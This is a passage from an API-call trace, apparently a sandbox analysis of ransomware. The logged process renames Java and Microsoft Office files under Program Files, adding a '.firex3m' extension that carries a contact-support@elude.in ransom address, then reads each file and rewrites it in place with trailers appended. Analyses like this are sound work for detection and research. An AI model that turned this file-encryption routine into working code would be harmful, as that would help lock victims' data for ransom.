Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.912] GetProcessHeap () returned 0x630000 [0118.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x36a1) returned 0x722b6c0 [0118.912] GetProcessHeap () returned 0x630000 [0118.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x36a1) returned 0x722ed70 [0118.912] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.913] ReadFile (in: hFile=0x67c, lpBuffer=0x722b6c0, nNumberOfBytesToRead=0x3680, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b6c0*, lpNumberOfBytesRead=0x46fff0c*=0x3680, lpOverlapped=0x0) returned 1 [0120.050] GetProcessHeap () returned 0x630000 [0120.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0120.050] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.050] WriteFile (in: hFile=0x67c, lpBuffer=0x722ed70*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722ed70*, lpNumberOfBytesWritten=0x46fff0c*=0x3680, lpOverlapped=0x0) returned 1 [0120.050] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.050] WriteFile (in: hFile=0x67c, lpBuffer=0x72323ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72323ef*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.050] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.050] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.051] CloseHandle (hObject=0x67c) returned 1 [0120.052] GetProcessHeap () returned 0x630000 [0120.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722ed70 | out: hHeap=0x630000) returned 1 [0120.052] GetProcessHeap () returned 0x630000 [0120.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722b6c0 | out: hHeap=0x630000) returned 1 [0120.052] GetProcessHeap () returned 0x630000 [0120.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0120.461] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd814a04, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x36ae, dwReserved0=0xb407496, dwReserved1=0x722b6b8, cFileName="hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIJRAH~1.FIR")) returned 0x6d5200 [0120.462] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.462] Sleep (dwMilliseconds=0x1) [0120.473] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", len=0x38 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 1 [0120.473] GetProcessHeap () returned 0x630000 [0120.473] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0120.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0120.477] CloseHandle (hObject=0x6c0) returned 1 [0120.477] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPRE~1.FIR")) returned 0x6d54c0 [0120.517] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0120.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0120.517] GetProcessHeap () returned 0x630000 [0120.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a61) returned 0x6eecaf0 [0120.517] GetProcessHeap () returned 0x630000 [0120.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a61) returned 0x722b6c0 [0120.517] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.518] ReadFile (in: hFile=0x6c0, lpBuffer=0x6eecaf0, nNumberOfBytesToRead=0x6a40, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eecaf0*, lpNumberOfBytesRead=0x46fff0c*=0x6a40, lpOverlapped=0x0) returned 1 [0122.647] GetProcessHeap () returned 0x630000 [0122.647] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0122.647] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.647] WriteFile (in: hFile=0x6c0, lpBuffer=0x722b6c0*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b6c0*, lpNumberOfBytesWritten=0x46fff0c*=0x6a40, lpOverlapped=0x0) returned 1 [0122.647] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.647] WriteFile (in: hFile=0x6c0, lpBuffer=0x72320ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72320ff*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.647] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.648] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.648] CloseHandle (hObject=0x6c0) returned 1 [0122.649] GetProcessHeap () returned 0x630000 [0122.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722b6c0 | out: hHeap=0x630000) returned 1 [0122.650] GetProcessHeap () returned 0x630000 [0122.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eecaf0 | out: hHeap=0x630000) returned 1 [0122.652] GetProcessHeap () returned 0x630000 [0122.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0128.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dff64, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6a64, dwReserved0=0xb407496, dwReserved1=0x6eecae8, cFileName="OSPPREARM.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPRE~1.FIR")) returned 0x6d5540 [0128.592] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0128.592] Sleep (dwMilliseconds=0x1) [0128.610] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", len=0x46 | out: pbstr=0x46fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 1 [0128.610] GetProcessHeap () returned 0x630000 [0128.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc4) returned 0x66a3e0 [0128.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.617] CloseHandle (hObject=0x718) returned 1 [0128.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVALI~1.FIR")) returned 0x6d53c0 [0128.618] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0128.619] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.619] GetProcessHeap () returned 0x630000 [0128.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64fec8 [0128.619] GetProcessHeap () returned 0x630000 [0128.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650238 [0128.619] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.619] ReadFile (in: hFile=0x718, lpBuffer=0x64fec8, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x64fec8*, lpNumberOfBytesRead=0x46fff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.620] GetProcessHeap () returned 0x630000 [0128.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0128.620] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.620] WriteFile (in: hFile=0x718, lpBuffer=0x650238*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x650238*, lpNumberOfBytesWritten=0x46fff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.620] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.620] WriteFile (in: hFile=0x718, lpBuffer=0x6502b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6502b7*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.621] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.621] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.621] CloseHandle (hObject=0x718) returned 1 [0128.621] GetProcessHeap () returned 0x630000 [0128.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650238 | out: hHeap=0x630000) returned 1 [0128.621] GetProcessHeap () returned 0x630000 [0128.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64fec8 | out: hHeap=0x630000) returned 1 [0128.621] GetProcessHeap () returned 0x630000 [0128.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0128.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x129ceb8f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x46ffd20, dwReserved1=0x64fec8, cFileName="invalid32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVALI~1.FIR")) returned 0x6d4e00 [0128.622] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0128.622] Sleep (dwMilliseconds=0x1) [0128.630] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf", len=0x45 | out: pbstr=0x46fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 1 [0128.630] GetProcessHeap () returned 0x630000 [0128.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb8) returned 0x66a3e0 [0128.630] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.631] CloseHandle (hObject=0x718) returned 1 [0128.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~2.FIR")) returned 0x6d5040 [0128.632] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0128.632] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.632] GetProcessHeap () returned 0x630000 [0128.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ffcc70 [0128.632] GetProcessHeap () returned 0x630000 [0128.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f0118 [0128.633] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.633] ReadFile (in: hFile=0x718, lpBuffer=0x6ffcc70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc70*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.755] GetProcessHeap () returned 0x630000 [0136.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0136.756] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.756] WriteFile (in: hFile=0x718, lpBuffer=0x71f0118*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0118*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.756] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.756] WriteFile (in: hFile=0x718, lpBuffer=0x71fb517*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb517*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.757] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.757] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.757] CloseHandle (hObject=0x718) returned 1 [0136.763] GetProcessHeap () returned 0x630000 [0136.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0118 | out: hHeap=0x630000) returned 1 [0136.763] GetProcessHeap () returned 0x630000 [0136.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffcc70 | out: hHeap=0x630000) returned 1 [0136.763] GetProcessHeap () returned 0x630000 [0136.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0136.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1777a37d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x39278, dwReserved0=0xb407496, dwReserved1=0x6ffcc68, cFileName="LucidaTypewriterBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~2.FIR")) returned 0x6d4f40 [0136.764] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0136.764] Sleep (dwMilliseconds=0x1) [0136.774] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", len=0x40 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 1 [0136.774] GetProcessHeap () returned 0x630000 [0136.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x238) returned 0x670860 [0136.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0136.775] CloseHandle (hObject=0x718) returned 1 [0136.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 